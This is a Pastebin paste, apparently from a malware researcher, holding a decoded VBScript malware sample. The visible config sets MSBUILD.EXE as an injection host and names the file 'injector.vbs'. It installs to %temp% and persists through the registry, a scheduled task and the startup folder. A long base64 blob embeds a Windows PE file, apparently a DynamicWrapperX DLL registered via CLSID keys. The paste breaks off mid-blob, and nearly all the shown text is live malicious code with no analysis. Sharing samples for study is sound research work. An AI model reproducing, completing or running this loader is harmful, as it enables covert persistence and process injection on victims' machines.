Advertisement
dissectmalware

Decoded VBScript Malware

Sep 22nd, 2018
461
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
VBScript 50.80 KB | None | 0 0
  1. ' decoded VBScript malware
  2.  
  3.  
  4. '=-=-=-=-= CONFIG =-=-=-=
  5.  
  6. HOST_FILE = "MICROSOFT.NET\FRAMEWORK\V2.0.50727\MSBUILD.EXE"
  7.  
  8. FILE_NAME = "injector.vbs"
  9.  
  10. INSTALL_DIR = "%temp%"
  11.  
  12. START_UP_REG = true
  13.  
  14. START_UP_TASK = true
  15.  
  16. START_UP_FOLDER = true
  17.  
  18.  
  19.  
  20.  
  21.  
  22. COMMAND_LINE = ""
  23.  
  24. '=-=-=-=-= CONFIG =-=-=-=
  25.  
  26. ON ERROR  RESUME NEXT
  27.  
  28. '=-=-=-=-= GLOBAL =-=-=-=
  29.  
  30. SET FILESYSTEMOBJ = CREATEOBJECT ("SCRIPTING.FILESYSTEMOBJECT")
  31.  
  32. SET SHELLOBJ = WSCRIPT.CREATEOBJECT ("WSCRIPT.SHELL")
  33.  
  34. DIM I
  35.  
  36. '=-=-=-=-= GLOBAL =-=-=-=
  37.  
  38.  
  39.  
  40. '=-=-=-=-= CONSTO =-=-=-=
  41.  
  42. DCOM_DATA = _
  43.  
  44. "TVpsAAEAAAACAAAA//8AAAAAAAARAAAAQAAAAAAAAABXaW4zMiBQcm9ncmFtIQ0KJLQJugAB" & _
  45.  
  46. "zSG0TM0hYAAAAEdvTGluaywgR29Bc20gd3d3LkdvRGV2VG9vbC5jb20AUEUAAEwBBwA1dfhI" & _
  47.  
  48. "AAAAAAAAAADgAA4hCwEAJgAYAAAAGAAAAAAAAAAQAAAAEAAAADAAAAAAABAAEAAAAAIAAAQA" & _
  49.  
  50. "AAAAAAAABAAAAAAAAAAAkAAAAAQAAJTZAAACAAAAAAAQAAAAAQAAABAAABAAAAAAAAAQAAAA" & _
  51.  
  52. "AHAAALwAAACEYAAAZAAAAABQAACgAwAAAAAAAAAAAAAAAAAAAAAAAACAAACgAgAAAAAAAAAA" & _
  53.  
  54. "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA6GAAAGgAAAAAAAAA" & _
  55.  
  56. "AAAAAAAAAAAAAAAAAAAAAAAAAABjb2RlAAAAAHAXAAAAEAAAABgAAAAEAAAAAAAAAAAAAAAA" & _
  57.  
  58. "AAAgAABgZGF0YQAAAABQBAAAADAAAAACAAAAHAAAAAAAAAAAAAAAAAAAQAAAwGNvbnN0AAAA" & _
  59.  
  60. "gAcAAABAAAAACAAAAB4AAAAAAAAAAAAAAAAAAEAAAEAucnNyYwAAAKADAAAAUAAAAAQAAAAm" & _
  61.  
  62. "AAAAAAAAAAAAAAAAAABAAABALmlkYXRhAABiAwAAAGAAAAAEAAAAKgAAAAAAAAAAAAAAAAAA" & _
  63.  
  64. "IAAAYC5lZGF0YQAAvAAAAABwAAAAAgAAAC4AAAAAAAAAAAAAAAAAAEAAAEAucmVsb2MAAKAC" & _
  65.  
  66. "AAAAgAAAAAQAAAAwAAAAAAAAAAAAAAAAAABAAABCAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA" & _
  67.  
  68. "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA" & _
  69.  
  70. "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA" & _
  71.  
  72. "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA" & _
  73.  
  74. "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA" & _
  75.  
  76. "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA" & _
  77.  
  78. "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA" & _
  79.  
  80. "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAItE" & _
  81.  
  82. "JAiD+AF1D4tEJASjADAAEFDo6E8AADHAQMIMAKEEMAAQixUIMAAQCdB0AzHAQMNVVldTieWB" & _
  83.  
  84. "7BwCAABoHEEAEOi/TwAAhcAPhHsBAACJRfxoKUEAEP91/OitTwAAiUX0aDlBABD/dfzonU8A" & _
  85.  
  86. "AIlF8GhIQQAQ/3X86I1PAACJRexoBAEAAFWBBCTk/f///zUAMAAQ6HhPAABoVEEAEGhYQAAQ" & _
  87.  
  88. "aGNBABBVgQQk6P7//+ieTwAA6F1PAACJxlDol08AAInBuiAvaSC7IC9JIA/KD8sxwMHgCKw5" & _
  89.  
  90. "0A+E9wAAADnYD4TvAAAA4upqAFWDBCT4agBoBgACAGoAagBqAFWBBCTo/v///zUQMAAQ/1X0" & _
  91.  
  92. "hcAPhbkAAABVgQQk5P3//+g1TwAAg8QEQFBVgQQk5P3//2oCagBqAP91+P9V8IXAD4WLAAAA" & _
  93.  
  94. "/3X4/1XsaGlBABBoN0AAEGhvQQAQVYEEJOj+///o7E4AAGoAVYMEJPhqAGgGAAIAagBqAGoA" & _
  95.  
  96. "VYEEJOj+////NRAwABD/VfSFwHVAaBBAABDov04AAIPEBEBQaBBAABBqAWoAagD/dfj/VfCF" & _
  97.  
  98. "wHUc/3X4/1Xs/3X86FtOAACJ7FtfXl3DuAYAB4Dr8rgFAAeA6+vHBRAwABABAACA6QT///9V" & _
  99.  
  100. "VldTieWD7AhodUEAEOgMTgAAhcB0RolF/GiBQQAQ/3X86P5NAACJRfhoWEAAEP81EDAAEP9V" & _
  101.  
  102. "+IXAdShoN0AAEP81EDAAEP9V+IXAdRb/dfzo4U0AAInsW19eXcO4BgAHgOvyuAUAB4Dr61VW" & _
  103.  
  104. "V1OJ5YPsBMcFEDAAEAEAAIAxwInsW19eXcIIAFVWV1OJ5YPsBGjYQAAQ/3UU6OZNAACFwHQZ" & _
  105.  
  106. "/3Uc/3UYaPxAABDoFQAAAInsW19eXcIMAItdHIkDuBEBBIDr61VWV1OJ5YPsBItdHGi4QAAQ" & _
  107.  
  108. "/3UY6KRNAACFwHUhaKhAABD/dRjok00AAIXAdRCJA7gCQACAiexbX15dwgwAi0UUiQMxwOvu" & _
  109.  
  110. "McBAwgQAMcBAwgQAVVZXU4nlg+wEg30YAHVNagxqAOgKTQAAhcB0R4nDaAQwABDoAE0AAP81" & _
  111.  
  112. "KDAAEGoBaABBABCPA49DBI9DCP91IP91HFPoQwAAAInGU+ihAAAAifCJ7FtfXl3CEAC4EAEE" & _
  113.  
  114. "gOvwuA4AB4Dr6YN8JAgAdQ9oCDAAEOizTAAAMcDCCABoCDAAEOieTAAA6+9VVldTieWB7IQB" & _
  115.  
  116. "AACLXRxoyEAAEP91GOjCTAAAhcB1JWioQAAQ/3UY6LFMAACFwHUUxwMAAAAAuAJAAICJ7Ftf" & _
  117.  
  118. "Xl3CDACLRRSJA/91FOgEAAAAMcDr5otEJASNQARQ6DlMAADCBABVVldTieWLXRSNQwRQ6CpM" & _
  119.  
  120. "AACFwHQHW19eXcIEAFPoH0wAAGgEMAAQ6A9MAAAxwOvluAFAAIDCCAC4AUAAgMIQAFVWV1OJ" & _
  121.  
  122. "5YPsBGiYQAAQ/3UY6CFMAACFwHRYx0X8AAAAAItNIIt1HIt9KK2LXRSLWwhRUP8zUOjwSwAA" & _
  123.  
  124. "g8QIhcBYWXQYi1sYhdt0Auvkxwf/////x0X8BgACgOsFi1MEiReDxwTixItF/InsW19eXcIY" & _
  125.  
  126. "ALgBAAKA6/BVVldTnInlgewUAgAAaJhAABD/dSDopEsAAIXAD4TeAAAAMcCJhez9//+JhfD9" & _
  127.  
  128. "//+JhfT9//+Jhfj9//+LVRyLXRiLWwg7UwR0DYtbGIXbD4SyAAAA6+6JZfyLVSyLSgiDewQQ" & _
  129.  
  130. "dw5qAGoAagBqAGoA4y/rCztLCA+FkQAAAOMiweEDKcyNDAxVgQQk7P3//1H/cwz/Mv9yCOg1" & _
  131.  
  132. "AwAAcleJxIN7BBB3A/91GP9TFItl/HJjg3sQAHQTg30wAHQN/3MQ/3Uw6LADAAByK1WBBCTs" & _
  133.  
  134. "/f//6DcEAABVgQQk7P3//+i8AwAAcg9VgQQk7P3//+jfDgAAMcCJ7J1bX15dwiQAuAEAAoDr" & _
  135.  
  136. "77gDAAKA6+i4DgACgOvhg30cEHeX69mQkJCQkFVWV1OJ5YPsBIN9HAB0av91HP91GOjBAQAA" & _
  137.  
  138. "clSLXRSLcwiLfgRHVlD/dSj/dST/dSBqAOhRAAAAcjZQUlH/dRzoXUoAAIXAdDhXUGocagDo" & _
  139.  
  140. "AEoAAIXAdCmPAI9ABI9ACI9ADI9AEI9AFI9AGIlDCPiJ7FtfXl3CGAC4DgACgPnr77gOAAeA" & _
  141.  
  142. "+evnVVZXU4nlgewMAQAAMduJnfz+//+Jnfj+//+JnfT+//+LVRT8i3SdGIX2D4T2AAAAjb0A" & _
  143.  
  144. "////g+IBQ2atZoXAD4T9AAAAZoP4IHTvZoP4PXQnZoP4aXUGD7rqAevdZoP4cnUGD7rqAuvR" & _
  145.  
  146. "ZoP4Zg+EqgAAAOnKAAAA98IGAAAAD4S+AAAAMclmrWaFwHQ/ZoP4IHTzV1G/kEEAEIsNxEEA" & _
  147.  
  148. "EA+64gBzAtHp8mavD4WRAAAAQYnI99iLDcRBABAPuuIAcwLR6QHIWV+rQeu6hckPhG4AAABR" & _
  149.  
  150. "UsHhAlFqAOjqSAAAhcAPhGEAAABaWQ+64gJyGYmN/P7//4nHjbUA/////POliYX4/v//6xOL" & _
  151.  
  152. "lQD///+D+gx3LYkQiYX0/v//g/sDD4L9/v//i438/v//i5X4/v//i4X0/v//+InsW19eXcIQ" & _
  153.  
  154. "ALhXAAeA+evvuA4AB4D56+dVU4nlgewEAgAA/3UM6H9IAACFwHR0icNqAGoAaAABAABVgQQk" & _
  155.  
  156. "/P3//2r//3UQagBqAOhgSAAAVYEEJPz9//9T6BxIAACFwHQI+InsW13CCABoYEcAEFWBBCT8" & _
  157.  
  158. "/f//aGJHABBVgQQk/P3//+g5SAAAVYEEJPz9//9T6ONHAACFwHXHuANAAID568BqAGoAaAQB" & _
  159.  
  160. "AABVgQQk/P7//2r//3UMagBqAOjuRwAAVYEEJPz+///opUcAAIXAD4VY////uAYAB4D564SQ" & _
  161.  
  162. "kJCQkJCQkJCQkJCQkJBVVldTieWD7ASLTRSLXRiLdRyNNI78idpm9wMAQHQFi1MI6wZmgzsJ" & _
  163.  
  164. "dFhRiw3YQQAQZosCv8hBABDyZq91WkH32QMN2EEAEMHhAoPuBIsGweAFAciNgNxBABCDOAB0" & _
  165.  
  166. "Of91JP91IFL/MOijBAAAcgqJRSCDwxBZ4p74iexbX15dwhQAi0MIZoN4LAN0B2aDeCwFdZeN" & _
  167.  
  168. "UCzrkrgFAAKA+YnsW19eXcIUAFVTieWD7ASLXRCLG8HjAo2bPEUAEGoA/3UM/zPowwkAAIns" & _
  169.  
  170. "W13CCABVVldTieWD7ASLRRSLCONEjXAQ/FGticOtPbAEAAB0PlBT6ORGAACDxASJwUHR4IlD" & _
  171.  
  172. "/FH/dRRRU2oA6HIKAABZchOJx1hRU1FXagBQ6KhGAABZ4sD4iexbX15dwgQAU+izRgAAg8QE" & _
  173.  
  174. "0eCJQ/zr41VWV1OJ5YPsBItFFItIBOMSjbCQAAAA/K2Jw62NeAj/0+L1+InsW19eXcIEAIE/" & _
  175.  
  176. "////f3cBw8dHBAAAAACb2+PfL90fZscABQDDiweYiQfDiwcl//8AAIkHw4sHZpiYiQfDiwcl" & _
  177.  
  178. "/wAAAIkHw5vb49kH3R9mxwAFAMOQkJCQkJCQkJCQVVZXU4nlg+wEg30YAHRgi10YizNT/1YE" & _
  179.  
  180. "izU4MAAQiz0wMAAQgf/4HAAQd0tqAP91IP91HGoB6N77//9yKVBSUf91GI8Gj0YEj0YIj0YM" & _
  181.  
  182. "g8YQiTU4MAAQifgDPTQwABCJPTAwABD4iexbX15dwhAAuA4AAoD56++4CgACgPnr51VWV1OJ" & _
  183.  
  184. "5YPsMInji3UUi1YIi04EiU30ichAweAEKcSJZeyLRRiDwASLPlBTUVJX6KkAAACJTfzHRfAA" & _
  185.  
  186. "AAAAx0X4AAAAAIsfZsdF3AAAx0XkAAAAAFWDBCTUagBqAWhGMAAQaJhAABBX/1MUhcB1Sf9F" & _
  187.  
  188. "9GoAagBVgwQk3FWDBCTsagFqAGiYQAAQ/3XUV/9TGIXAdUWDfgwAdA//dgxVgwQk3OikAQAA" & _
  189.  
  190. "cjCLTfyD6QSJ7FtfXl3CCABqAGoAVYMEJNxVgwQk7GoBagBomEAAEGoAV/9TGIXAdLsxwOvM" & _
  191.  
  192. "VVZXU4nlg+wEi00ci10gg+sQ/3UUagmPA49DCOMui30ki3UY/K3B4AIFPEUAEIsQhdJ0JIPr" & _
  193.  
  194. "EFFXU1LoLwcAAFlyDInH4t6J+StNJDHA+InsW19eXcIUALgFAAKA+evvjwQMAczDieBQaFAw" & _
  195.  
  196. "ABDosP7//+vrieBQaGAwABDoof7//+vcieBQaHAwABDokv7//+vNieBQaIAwABDog/7//+u+" & _
  197.  
  198. "ieBQaJAwABDodP7//+uvieBQaKAwABDoZf7//+ugieBQaLAwABDoVv7//+uRieBQaMAwABDo" & _
  199.  
  200. "R/7//+uCieBQaNAwABDoOP7//+lw////ieBQaOAwABDoJv7//+le////ieBQaPAwABDoFP7/" & _
  201.  
  202. "/+lM////ieBQaAAxABDoAv7//+k6////ieBQaBAxABDo8P3//+ko////ieBQaCAxABDo3v3/" & _
  203.  
  204. "/+kW////ieBQaDAxABDozP3//+kE////ieBQaEAxABDouv3//+ny/v//VVZXU4nlg+wEi10U" & _
  205.  
  206. "i3UYZoM7CXRDiw3YQQAQicpmiwO/yEEAEPzyZq91QynKSsHiAosGweAFAdCNgNxBABCLAIXA" & _
  207.  
  208. "dCpqAGoAU1DoNwAAAInsW19eXcIIAItDCGaDeCwDdAdmg3gsBXWsjVgs66e4BQACgPmJ7Ftf" & _
  209.  
  210. "Xl3CCACQkJCQkJCQkJBVVldTieWD7BSLdRiLRgiLfRz/VRRyBoX/eAKJ+InsW19eXcIQACX/" & _
  211.  
  212. "AAAA6wGYg+8EeAKJB/jDm9vj2UYI6wab2+PdRgib2+LbXfib3+BmqSEAdQWLRfjr1bhXAAeA" & _
  213.  
  214. "+cMl/wAAAOsBmIPvBHgCiQf4w5vb49lGCOsGm9vj3UYIm9vi3334m9/gZqkhAHUVi0X4i1X8" & _
  215.  
  216. "hdJ00HkJg/r/dQSFwHjFuFcAB4D5wyX/AAAA6xBmCcB4PCX//wAA6wQJwHgxg+8EeAKJB/jD" & _
  217.  
  218. "m9vj2UYI6wab2+PdRgib2+Lfffib3+BmqSEAdQuDffwAdwWLRfjrz7hXAAeA+cMl/wAAAOsB" & _
  219.  
  220. "mIPvBHgCiQf4wz3/fwAAfys9AID//3wk6+eb2+PZRgjrBpvb491GCJvb4t9d+Jvf4GapIQB1" & _
  221.  
  222. "BYtF+OvEuFcAB4D5wyX/AAAA6wpmCcB4PSX//wAAg+8EeAKJB/jDCcB4Kz3//wAAdyTr6pvb" & _
  223.  
  224. "49lGCOsGm9vj3UYIm9vi2134m9/gZqkhAHUFi0X469G4VwAHgPnDJf8AAACD+H93OIPvBHgC" & _
  225.  
  226. "iQf4w5iD+H9/KYP4gHwk6+qb2+PZRgjrBpvb491GCJvb4t9d+Jvf4GapIQB1BYtF+OvRuFcA" & _
  227.  
  228. "B4D5w2YJwHhDZj3/AHc9Jf8AAACD7wR4AokH+MMJwHgrPf8AAAB3JOvqm9vj2UYI6wab2+Pd" & _
  229.  
  230. "Rgib2+LfXfib3+BmqSEAdQWLRfjruLhXAAeA+cOb2+PZRgjrA91GCIPvCHgC3R/4w5vb49tG" & _
  231.  
  232. "COvvm9vj30YI6+cl/wAAAIlF+Jvb49tF+OvXm9vj3UYIm9vi2VX4m9/gZqkYAHUu6wPZRgiD" & _
  233.  
  234. "7wR4Atkf+MOb2+PbRgjr75vb499GCOvnJf8AAACJRfib2+PbRfjr17hXAAeA+cOD7wR4AokH" & _
  235.  
  236. "+MO7AQAAAOsFuwAAAACJxlDoEEAAAIPEBEBqAGoAUFCF/3Qg/3UgUGoAagDojwMAAHIdllpW" & _
  237.  
  238. "UlBqAFPowj8AAInw67VQagDomD8AAIXAdeO4DgAHgPnDUItFIItIBI2cyJAAAACJE4lzBEGJ" & _
  239.  
  240. "SARYwyX/AAAA6wGYiUYIZscGAwCNRgiD7wSJB/jDm9vj2UYI214I6+ab2+PdRgjbXgjr2yX/" & _
  241.  
  242. "AAAA6wGYiUYIZscGAwCNRgiD7wSJB/jDm9vj2UYI334I6+ab2+PdRgjffgjr2yX/AAAA6wUl" & _
  243.  
  244. "//8AAIlGCGbHBgMAjUYIuuoZABDoZv///4PvBIkH+MOb2+PdRgjffgjr3Jvb49lGCN9+COvR" & _
  245.  
  246. "Jf8AAADrAZiJRghmxwYDAI1GCLoHGgAQ6Cz///+D7wSJB/jDm9vj3UYI214I69yb2+PZRgjb" & _
  247.  
  248. "Xgjr0SX/AAAA6wUl//8AAIlGCGbHBgMAjUYIug0aABDo7v7//4PvBIkH+MOb2+PdRgjbXgjr" & _
  249.  
  250. "3Jvb49lGCNteCOvRJf8AAADrAZiJRghmxwYDAI1GCLoXGgAQ6LT+//+D7wSJB/jDm9vj3UYI" & _
  251.  
  252. "214I69yb2+PZRgjbXgjr0SX/AAAAiUYIZscGAwCNRgi6HxoAEOh9/v//g+8EiQf4w5vb491G" & _
  253.  
  254. "CNteCOvcm9vj2UYI214I69El/wAAAOsBmIlGCJvb49tGCNleCGbHBgQAjUYIuikaABDoOv7/" & _
  255.  
  256. "/4PvBIkH+MOb2+PdRgjZXgjr3CX/AAAA6wGYiUYIm9vj20YI3V4IZscGBQCNRgiD7wSJB/jD" & _
  257.  
  258. "m9vj2UYI3V4I6+a7AQAAAOsFuwAAAABTicZQ6LQ9AACDxARAagBqAFBQVuiwPQAAhcB0N1qT" & _
  259.  
  260. "VlJTagBQ6G89AABT6J89AACJ8FvrBbuwBAAAg+8EeBOJB4tVIIsKjXTKEIkGiV4EQYkK+MO4" & _
  261.  
  262. "DgAHgPnDg+8EiTf4w1VWV1OJ5YPsCIt9GIt1HIX2dAWLBoPGBP9VFHICifCJ7FtfXl3CDABm" & _
  263.  
  264. "mJiJRwhmxwcDAPjDJf8AAADr7yX//wAA6+g9////f3bhiUX4x0X8AAAAAJvb499t+N1fCGbH" & _
  265.  
  266. "BwUA+MOF9nQGm9vj2Ub83V8IZscHBQD4w4X2dAab2+PdRvzdXwhmxwcFAIX2dAODxgT4w7sB" & _
  267.  
  268. "AAAA6wW7AAAAAFZXicZQ6KY8AACDxASJx1BqAOi9PAAAhcB0KJZHV1ZXUGoAU+h1PAAAifBf" & _
  269.  
  270. "XusKUOiTPAAAhcB0ColHCGbHBwgA+MO4DgAHgPnDkJCQkJCQkJCQkJCQVYnlg+wEg30IAHc6" & _
  271.  
  272. "/3UQagDoDjwAAIXAdF+LVRSLSgiJhIoQAQAAQYlKCIN9DAB0DlD/dRD/dQxQ6BA8AABY+Ins" & _
  273.  
  274. "XcIQAIN9EAB0Df91EP91DOgnPAAA6wj/dQzoETwAAIXAdBSLVRSLSgyJhIqQAQAAQYlKDPjr" & _
  275.  
  276. "x7gOAAeA+eu/VVZXU4nlg+wEi30Ui08I4xiNtxABAAD8rYnLUOiUOwAAhcB1J4nZ4u+LTwzj" & _
  277.  
  278. "FI23kAEAAPytictQ6Lk7AACJ2eLz+InsW19eXcIEALgDQACA+evvVVZXU4nlg+wEi3UYhfYP" & _
  279.  
  280. "hHkAAAADdRyLRSCFwHUEMdLrH2aLAL+QQQAQiw3EQQAQ0emJyvzyZq8PhUcAAAApykqJFSQw" & _
  281.  
  282. "ABCD+gN2FoP6BXYdg/oHdh2D+gh0I4P6CXQX6yOLBviJ7FtfXl3CEABmiwbr8YoG6+2b2+PZ" & _
  283.  
  284. "Buvmm9vj3Qbr37gFAAKA+evYuANAAID569BVVldTieWD7ASLdRyF9g+EkgAAAAN1IItFJIXA" & _
  285.  
  286. "dQQx2+sfZosAv5BBABCLDcRBABDR6YnL/PJmrw+FYAAAACnLS4P7CXdYiV38VYMEJPz/dRjo" & _
  287.  
  288. "Svf//3Ivg/sDdiKD+wV2FoP7B3YMg/sIdCSD+wl0JusriAZG6wxmiQZGRusFiQaDxgSJ8PiJ" & _
  289.  
  290. "7FtfXl3CFADdHoPGCOvt2R6DxgTr5rgFAAKA+evhuANAAID569lVVldTieWD7AT/dRhqAOhT" & _
  291.  
  292. "OgAAhcB0O4nCiceLRRyFwHQOZosYZonYweAQZonY6wW4IAAgAItNGNHp/POrcwJmq2bHBwAA" & _
  293.  
  294. "idD4iexbX15dwgwAuA4AB4D56+9VVldTieWD7ASLdRiF9g+EeAAAAIsGv8hBABCLDdhBABCJ" & _
  295.  
  296. "yvzyZq91WynKSsHiAotFHIXAdQvrBHcAAAC4qiYAEGaLAL+QQQAQiw3EQQAQicvR6fJmr3Us" & _
  297.  
  298. "KctLg/sXciTB4wW43EEAEAHYAdBqAGoAVv8w6Kb2//9yAfiJ7FtfXl3CDAC4BQACgPnr77gO" & _
  299.  
  300. "AAKA+evnVVZXU4nlg+wEi3UYhfZ0TYtFHIXAdQvrBHcAAAC4HycAEGaLAL+QQQAQiw3EQQAQ" & _
  301.  
  302. "0emJyvzyZq91GynKSoP6CnITiRUgMAAQi0UY+InsW19eXcIMALgFAAKA+evvuA4AAoD56+cA" & _
  303.  
  304. "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA" & _
  305.  
  306. "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA" & _
  307.  
  308. "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA" & _
  309.  
  310. "AAACAACAAAAAAAAAAAAAAAAACgAAAAAAAABERwAQAAAAAAIcABAPAAAAUDAAEGMAYQBsAGwA" & _
  311.  
  312. "AAA8MAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA" & _
  313.  
  314. "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA" & _
  315.  
  316. "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA" & _
  317.  
  318. "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA" & _
  319.  
  320. "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA" & _
  321.  
  322. "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA" & _
  323.  
  324. "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA" & _
  325.  
  326. "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA" & _
  327.  
  328. "AAAAAAAAAAAAAAAARHluYW1pY1dyYXBwZXJYAHs4OTU2NTI3NS1BNzE0LTRhNDMtOTEyRS05" & _
  329.  
  330. "NzhCOTM1RURDQ0N9AFNvZnR3YXJlXENsYXNzZXNcRHluYW1pY1dyYXBwZXJYAFNvZnR3YXJl" & _
  331.  
  332. "XENsYXNzZXNcQ0xTSURcezg5NTY1Mjc1LUE3MTQtNGE0My05MTJFLTk3OEI5MzVFRENDQ30A" & _
  333.  
  334. "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAADAAAAAAAAARgEAAAAAAAAAwAAAAAAAAEYABAIA" & _
  335.  
  336. "AAAAAMAAAAAAAABGdVJWiRSnQ0qRLpeLk17czK8SABD2EgAQ/BIAEAITABBsEwAQ6EAAEI4T" & _
  337.  
  338. "ABDkEwAQ9BMAECUUABAtFAAQNRQAEK4UABBBZHZhcGkzMi5kbGwAUmVnQ3JlYXRlS2V5RXhB" & _
  339.  
  340. "AFJlZ1NldFZhbHVlRXhBAFJlZ0Nsb3NlS2V5AEluUHJvY1NlcnZlcjMyACVzXCVzAENMU0lE" & _
  341.  
  342. "ACVzXCVzAHNobHdhcGkuZGxsAFNIRGVsZXRlS2V5QQAAAGwAaAB1AHAAbgB0AGMAYgBkAGYA" & _
  343.  
  344. "dwBzAHoATABIAFUAUABOAFQAQwBCAEQARgBXAFMAWgAaAAAAAwACABEABQAEAAkAAAAIAAgA" & _
  345.  
  346. "AAC+HQAQvR0AELYdABDPHQAQxx0AEAAAAAAAAAAAAAAAAPgdABD3HQAQ8B0AEAkeABABHgAQ" & _
  347.  
  348. "AAAAAAAAAAAAAAAATR4AEEEeABA6HgAQYh4AEFoeABAAAAAAAAAAAAAAAABNHgAQQR4AEDoe" & _
  349.  
  350. "ABBiHgAQWh4AEE0eABAAAAAAOSAAEJoeABCQHgAQiR4AELIeABCqHgAQAAAAAAAAAAAAAAAA" & _
  351.  
  352. "7R4AENoeABDTHgAQAh8AEPoeABAAAAAAAAAAAAAAAAA3HwAQNh8AECMfABBLHwAQQx8AEAAA" & _
  353.  
  354. "AAAAAAAAAAAAAIUfABBsHwAQdx8AEJofABCSHwAQAAAAAAAAAAAAAAAAzx8AENcfABDfHwAQ" & _
  355.  
  356. "wx8AELsfABAAAAAAAAAAAAAAAAASIAAQGiAAECIgABDvHwAQBiAAEAAAAAAAAAAAAAAAAAAA" & _
  357.  
  358. "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA5IAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA" & _
  359.  
  360. "AAAAAEkgABAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQiAAEMAgABC3IAAQsCAAENUg" & _
  361.  
  362. "ABDKIAAQAAAAALsgABAAAAAA8CAAEOcgABDgIAAQBSEAEPogABAAAAAA6yAAEAAAAAAkIQAQ" & _
  363.  
  364. "FyEAEBAhABA4IQAQQyEAEAAAAAAfIQAQAAAAACQhABAXIQAQECEAEDghABBDIQAQAAAAAB8h" & _
  365.  
  366. "ABAAAAAAXiEAEFUhABBOIQAQciEAEH0hABAAAAAAWSEAEAAAAACcIQAQjyEAEIghABCwIQAQ" & _
  367.  
  368. "uyEAEAAAAACXIQAQAAAAANYhABDNIQAQxiEAEOohABD1IQAQAAAAANEhABAAAAAADSIAEAAi" & _
  369.  
  370. "ABAAIgAQISIAECwiABAAAAAACCIAEAAAAAB6IgAQdiIAEG8iABCIIgAQkiIAEAAAAAB6IgAQ" & _
  371.  
  372. "AAAAAEIiABA+IgAQNyIAEGQiABBQIgAQAAAAAEIiABAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA" & _
  373.  
  374. "AAAAAAAAAAAAAN4iABAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAApCIAEAAAAAAAAAAA" & _
  375.  
  376. "AAAAAAAAAAAAAAAAAAAAAAAAAACdIgAQBCMAEAQjABAEIwAQBCMAEAQjABAEIwAQBCMAEAQj" & _
  377.  
  378. "ABA2IwAQNiMAEE4jABBOIwAQNSMAEEcjABAzIwAQQCMAEIMjABBvIwAQ2SMAEKUjABCeIwAQ" & _
  379.  
  380. "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAOMj" & _
  381.  
  382. "ABAAAAAAAAAAAFMAdAByAEcAZQB0AAAAAwAAAAoAAAAAALBFABAKAAAAAgAAAL5FABAgMAAQ" & _
  383.  
  384. "BicAEAAAAABTAHQAcgBQAHQAcgAAABoAAAAKAAAAAwAAAAAA5EUAEAsAAAACAAAA8kUAEPpF" & _
  385.  
  386. "ABByJgAQyEUAEFMAcABhAGMAZQAAAAIAAAAKAAAAGgAAABxGABAMAAAAAgAAAChGABAwRgAQ" & _
  387.  
  388. "GCYAEABGABBOAHUAbQBQAHUAdAAAABoAAAADAAAAAAAAAAoAAAADAAAAAABQRgAQDQAAAAQA" & _
  389.  
  390. "AABeRgAQbkYAEGolABA0RgAQTgB1AG0ARwBlAHQAAAADAAAAAAAAAAoAAAAAAJBGABAOAAAA" & _
  391.  
  392. "AwAAAJ5GABAkMAAQ1SQAEHRGABBSAGUAZwBpAHMAdABlAHIAQwBhAGwAbABiAGEAYwBrAAAA" & _
  393.  
  394. "AwAAAAoAAAAKAAAAAwAAAAAAyEYAEA8AAAADAAAA6kYAEPZGABBAGgAQrEYAEFIAZQBnAGkA" & _
  395.  
  396. "cwB0AGUAcgAAAAoAAAAKAAAACgAAAAoAAAAKAAAAAAAAAAAAGEcAEBAAAAAFAAAAKkcAED5H" & _
  397.  
